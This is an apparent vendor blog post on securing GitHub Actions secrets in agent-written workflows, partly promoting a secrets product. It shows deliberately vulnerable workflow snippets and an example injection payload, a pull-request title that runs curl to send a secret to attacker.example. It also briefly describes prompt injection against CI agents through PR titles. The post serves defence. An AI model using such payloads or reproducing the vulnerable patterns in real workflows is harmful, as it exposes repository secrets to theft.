Secrets in GitHub Actions when an agent writes your workflows
Security
Coding agents write workflow files the way they write everything else: from
examples. The most-copied examples for pull request automation expose
repository secrets to anyone who can open a pull request. If an agent edited
a file under .github/workflows/ this month, check it for the two mistakes
below before you check anything else.
The setup at the end gives the job one credential, bound to one environment, which the runner uses to decrypt only the values that job needs:
steps:
- uses: seekritdev/github-action@v1
with:
token: ${{ secrets.SEEKRIT_TOKEN }}
- run: ./deploy.sh
Mistake 1: pull_request_target plus a checkout of the PR head
pull_request runs with the base repository's secrets withheld from forks.
pull_request_target runs in the context of the base branch with full access
to secrets. It exists so a workflow can label or comment on a fork's PR.
The mistake is combining it with a checkout of the pull request's code and then running that code:
on: pull_request_target
jobs:
test:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm install && npm test # runs the PR's code with your secrets
npm install runs the PR's postinstall scripts. npm test runs the PR's
test files. Both execute with every secret the job can see. A pull request
from any account can now read them. GitHub's own hardening guide calls this
the "pwn request" pattern. Agents produce it because it is the shape of an
example that works.
Fix: use pull_request for anything that runs the contributor's code. Use
pull_request_target only for jobs that never check out or execute the
head, and give those jobs no secrets they do not need.
Mistake 2: untrusted strings inside run:
- run: echo "Reviewing ${{ github.event.pull_request.title }}"
The expression is expanded before the shell sees it. A title of
"; curl attacker.example -d "$SECRET_KEY is shell. Any event field a
contributor controls, including the title, body, branch name, and commit
message, is an injection point when placed inside run:.
Fix: pass the value through env: and reference the variable in the script:
- env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "Reviewing $TITLE"
This is also what makes the Comment and Control class of attack work against agents running in CI. The agent reads the title as an instruction. The fix for that half is not giving the agent a credential to hand over.
What the workflow's secrets should look like
GitHub's secret store is fine for one value. The problem is what accumulates in it: every credential every workflow ever needed, all readable by every job in the repository, with no record of which job read which. Move the application's secrets out of it and leave one thing behind.
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: seekritdev/github-action@v1
with:
token: ${{ secrets.SEEKRIT_TOKEN }}
- run: ./deploy.sh # $DATABASE_URL, $API_KEY are set and masked
What this changes:
- One secret in GitHub.
SEEKRIT_TOKENis the only value in the repository's store. It is bound to one application environment, so a token forstagingcannot readproduction. - Decryption on the runner. The API returns ciphertext. The action
decrypts it on the runner and injects the values into the job environment.
Every value is registered with
::add-mask::, so it is redacted in logs. - Scoping in the action.
includeandexcludelimit which names a job gets.withcomposes a group at a specific environment. A test job that needs a database URL does not receive the payment key. - An audit trail. Each resolve is a read of a named environment by a named token, recorded on the seekrit side.
Prefer injecting into the job environment over set-outputs. Masked
environment variables are a smaller surface than run-scoped outputs.
Preview deploys per pull request
Preview jobs usually need the shared config plus one or two values of their
own, such as a database branch URL. Give each pull request a
branch config that inherits from dev, holds only
the difference, and deletes itself:
jobs:
preview:
runs-on: ubuntu-latest
env:
SEEKRIT_TOKEN: ${{ secrets.SEEKRIT_TOKEN }}
SEEKRIT_BRANCH: pr-${{ github.event.number }}
steps:
- uses: actions/checkout@v4
- run: npm install -g @seekrit/cli
- run: seekrit branch create "$SEEKRIT_BRANCH" --app api --from dev --ttl 3d
- run: seekrit secrets set DATABASE_URL "$NEON_BRANCH_URL" --app api --env dev --branch "$SEEKRIT_BRANCH"
- run: seekrit run -- ./deploy-preview.sh
The --ttl is the backstop for a teardown job that never runs. Nothing is
left holding credentials after three days.
A checklist for agent-written workflows
- Search
.github/workflows/forpull_request_target. Any job using it must not check out or run the head commit. - Search for
${{ github.eventinside arun:block. Move each one intoenv:. - Count the entries in the repository's secret store. Replace the
application secrets with one
SEEKRIT_TOKENper environment. - Rotate anything a fork could have read while the first two mistakes were live.
The CI/CD guide covers the action's inputs, the
seekrit run alternative, Docker, and Kubernetes. Values are encrypted
before they are stored, so the service holding them
cannot read them.